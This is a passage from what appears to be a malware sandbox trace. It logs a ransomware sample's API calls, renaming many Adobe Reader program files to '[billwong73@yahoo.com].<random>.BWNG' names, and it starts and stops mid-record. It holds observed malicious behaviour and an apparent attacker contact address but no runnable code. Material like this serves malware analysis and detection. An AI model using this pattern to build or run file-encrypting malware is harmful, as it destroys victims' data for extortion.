"c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\[billwong73@yahoo.com].eqHGscXV-YveWc0Dt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\[billwong73@yahoo.com].eqhgscxv-yvewc0dt.bwng"), dwFlags=0x1) returned 1 [0092.144] GetTickCount () returned 0x115ed6b [0092.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23409603839) returned 1 [0092.144] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DVA.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\dva.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].LaHKNnbQ-s0vzA3YC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].lahknnbq-s0vza3yc.bwng"), dwFlags=0x1) returned 1 [0092.145] GetTickCount () returned 0x115ed6b [0092.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23409761763) returned 1 [0092.146] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Search.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\search.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].1p5ADI8s-CE4bLBpE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].1p5adi8s-ce4blbpe.bwng"), dwFlags=0x1) returned 1 [0092.147] GetTickCount () returned 0x115ed6b [0092.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23409897561) returned 1 [0092.147] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DigSig.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\digsig.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].DMiQJ4j5-aDCoxCzg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].dmiqj4j5-adcoxczg.bwng"), dwFlags=0x1) returned 1 [0092.148] GetTickCount () returned 0x115ed6b [0092.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23410018193) returned 1 [0092.148] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\reflow.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\reflow.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].QglHjbJQ-rz5TaZXn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].qglhjbjq-rz5tazxn.bwng"), dwFlags=0x1) returned 1 [0092.149] GetTickCount () returned 0x115ed6b [0092.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23410144899) returned 1 [0092.149] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Search.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\search.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].lHFrI40K-Y3J6fRgC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].lhfri40k-y3j6frgc.bwng"), dwFlags=0x1) returned 1 [0092.154] GetTickCount () returned 0x115ed7b [0092.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23410599227) returned 1 [0092.154] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\[billwong73@yahoo.com].m58NXe8j-fkqA5cmZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\[billwong73@yahoo.com].m58nxe8j-fkqa5cmz.bwng"), dwFlags=0x1) returned 1 [0092.263] GetTickCount () returned 0x115ede8 [0092.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23421484562) returned 1 [0092.263] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\[billwong73@yahoo.com].0CQV91ol-8XThpyHR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\[billwong73@yahoo.com].0cqv91ol-8xthpyhr.bwng"), dwFlags=0x1) returned 1 [0092.633] GetTickCount () returned 0x115ef5e [0092.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23458560886) returned 1 [0092.634] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\[billwong73@yahoo.com].0PWqRgxu-UG4BPW9Z.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\[billwong73@yahoo.com].0pwqrgxu-ug4bpw9z.bwng"), dwFlags=0x1) returned 1 [0092.874] GetTickCount () returned 0x115f029 [0092.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23482666420) returned 1 [0092.875] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\[billwong73@yahoo.com].8FrIeBvA-aqLrT7Dz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\[billwong73@yahoo.com].8friebva-aqlrt7dz.bwng"), dwFlags=0x1) returned 1 [0093.227] GetTickCount () returned 0x115f190 [0093.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23517932055) returned 1 [0093.228] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Annots.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\annots.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].pdnnq9AM-FGUYvX4y.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].pdnnq9am-fguyvx4y.bwng"), dwFlags=0x1) returned 1 [0093.229] GetTickCount () returned 0x115f190 [0093.229] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23518176890) returned 1 [0093.230] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\pddom.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\pddom.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].vucJip1H-EAZSief5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].vucjip1h-eazsief5.bwng"), dwFlags=0x1) returned 1 [0093.231] GetTickCount () returned 0x115f190 [0093.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23518332286) returned 1 [0093.231] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Acroform.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\acroform.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].sxmWlRg7-KbYeEpYa.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].sxmwlrg7-kbyeepya.bwng"), dwFlags=0x1) returned 1 [0093.233] GetTickCount () returned 0x115f190 [0093.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23518484041) returned 1 [0093.233] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\checkers.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].pusgQaMX-pl7qLfFM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].pusgqamx-pl7qlffm.bwng"), dwFlags=0x1) returned 1 [0093.234] GetTickCount () returned 0x115f190 [0093.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23518657676) returned 1 [0093.235] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\[billwong73@yahoo.com].XT4HNb1B-4XsupzNg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\[billwong73@yahoo.com].xt4hnb1b-4xsupzng.bwng"), dwFlags=0x1) returned 1 [0093.480] GetTickCount () returned 0x115f28a [0093.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23543183818) returned 1 [0093.480] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Annots.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\annots.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].MhOR4GYr-aNZ4HpHk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].mhor4gyr-anz4hphk.bwng"), dwFlags=0x1) returned 1 [0093.481] GetTickCount () returned 0x115f28a [0093.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23543348565) returned 1 [0093.482] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Spelling.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\spelling.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].EcZBUJvm-vZ7tTfrS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].eczbujvm-vz7ttfrs.bwng"), dwFlags=0x1) returned 1 [0093.483] GetTickCount () returned 0x115f28a [0093.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23543485810) returned 1 [0093.483] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\[billwong73@yahoo.com].cnoRezyi-V551htfU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\[billwong73@yahoo.com].cnorezyi-v551htfu.bwng"), dwFlags=0x1) returned 1 [0093.484] GetTickCount () returned 0x115f28a [0093.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23543667571) returned 1 [0093.485] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\PDDom.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\pddom.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].F4zlyzq1-DUDYyNlK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].f4zlyzq1-dudyynlk.bwng"), dwFlags=0x1) returned 1 [0093.486] GetTickCount () returned 0x115f28a [0093.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23543794264) returned 1 [0093.486] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Spelling.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\spelling.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].Vn1Fxpmf-m3VGnzhv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].vn1fxpmf-m3vgnzhv.bwng"), dwFlags=0x1) returned 1 [0093.487] GetTickCount () returned 0x115f28a [0093.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23543924206) returned 1 [0093.487] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].qTZDSBfp-XBZtWiCE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].qtzdsbfp-xbztwice.bwng"), dwFlags=0x1) returned 1 [0093.489] GetTickCount () returned 0x115f28a [0093.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23544110866) returned 1 [0093.489] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].8NwUiLXP-YlSAk4qt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].8nwuilxp-ylsak4qt.bwng"), dwFlags=0x1) returned 1 [0093.491] GetTickCount () returned 0x115f28a [0093.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23544292785) returned 1 [0093.491] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\[billwong73@yahoo.com].HE79cgoo-HKHwdHNY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\[billwong73@yahoo.com].he79cgoo-hkhwdhny.bwng"), dwFlags=0x1) returned 1 [0093.492] GetTickCount () returned 0x115f299 [0093.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23544437324) returned 1 [0093.492] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DVA.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\dva.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].o1CNX2i2-jMlB56FI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].o1cnx2i2-jmlb56fi.bwng"), dwFlags=0x1) returned 1 [0093.598] GetTickCount () returned 0x115f2f7 [0093.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23555019127) returned 1 [0093.598] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].WyrPNs56-jtQVPu6Z.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].wyrpns56-jtqvpu6z.bwng"), dwFlags=0x1) returned 1 [0093.600] GetTickCount () returned 0x115f2f7 [0093.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23555184246) returned 1 [0093.600] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].cA4xZn49-5bgJrQ25.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].ca4xzn49-5bgjrq25.bwng"), dwFlags=0x1) returned 1 [0093.601] GetTickCount () returned 0x115f306 [0093.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23555374367) returned 1 [0093.602] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\accessibility.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\[billwong73@yahoo.com].PDPQreiD-QptCYPdi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\[billwong73@yahoo.com].pdpqreid-qptcypdi.bwng"), dwFlags=0x1) returned 1 [0093.603] GetTickCount () returned 0x115f306 [0093.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23555521970) returned 1 [0093.603] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\reflow.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\reflow.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].X0Ox2mak-qJ142KQf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].x0ox2mak-qj142kqf.bwng"), dwFlags=0x1) returned 1 [0093.604] GetTickCount () returned 0x115f306 [0093.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23555643571) returned 1 [0093.604] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ia32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\[billwong73@yahoo.com].WgpIcTVb-Qa5ANynL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\[billwong73@yahoo.com].wgpictvb-qa5anynl.bwng"), dwFlags=0x1) returned 1 [0093.605] GetTickCount () returned 0x115f306 [0093.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23555770441) returned 1 [0093.606] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SendMail.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\sendmail.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\[billwong73@yahoo.com].kI4zFGrL-UTqdYpQD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\[billwong73@yahoo.com].ki4zfgrl-utqdypqd.bwng"), dwFlags=0x1) returned 1 [0093.607] GetTickCount () returned 0x115f306 [0093.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23555901764) returned 1 [0093.607] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].iHY0XtEN-IhqJEUJw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].ihy0xten-ihqjeujw.bwng"), dwFlags=0x1) returned 1 [0093.608] GetTickCount () returned 0x115f306 [0093.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23556028317) returned 1 [0093.608] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\brdlang32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\[billwong73@yahoo.com].WmOG0BNj-yVAIWK2L.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\[billwong73@yahoo.com].wmog0bnj-yvaiwk2l.bwng"), dwFlags=0x1) returned 1 [0093.610] GetTickCount () returned 0x115f306 [0093.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23556187308) returned 1 [0093.610] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Acroform.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\acroform.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].jatC2SiV-2PcpGgSD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].jatc2siv-2pcpggsd.bwng"), dwFlags=0x1) returned 1 [0093.611] GetTickCount () returned 0x115f306 [0093.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23556314130) returned 1 [0093.611] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].L7NR8qqK-uAwjiWI5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].l7nr8qqk-uawjiwi5.bwng"), dwFlags=0x1) returned 1 [0093.612] GetTickCount () returned 0x115f306 [0093.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23556465994) returned 1 [0093.613] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\stop_collection_data.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].tzOpiJhy-xcfaVxZg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].tzopijhy-xcfavxzg.bwng"), dwFlags=0x1) returned 1 [0093.614] GetTickCount () returned 0x115f306 [0093.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23556601968) returned 1 [0093.614] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ppklite.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\[billwong73@yahoo.com].2SNeBhah-toir0zwQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\[billwong73@yahoo.com].2snebhah-toir0zwq.bwng"), dwFlags=0x1) returned 1 [0093.615] GetTickCount () returned 0x115f306 [0093.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23556748977) returned 1 [0093.615] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\MakeAccessible.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\makeaccessible.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].7WdrIVBL-aG7q2cnE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].7wdrivbl-ag7q2cne.bwng"), dwFlags=0x1) returned 1 [0093.763] GetTickCount () returned 0x115f3a2 [0093.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23571514618) returned 1 [0093.763] MoveFileExW (lpExistingFileName="C:\\Program Files 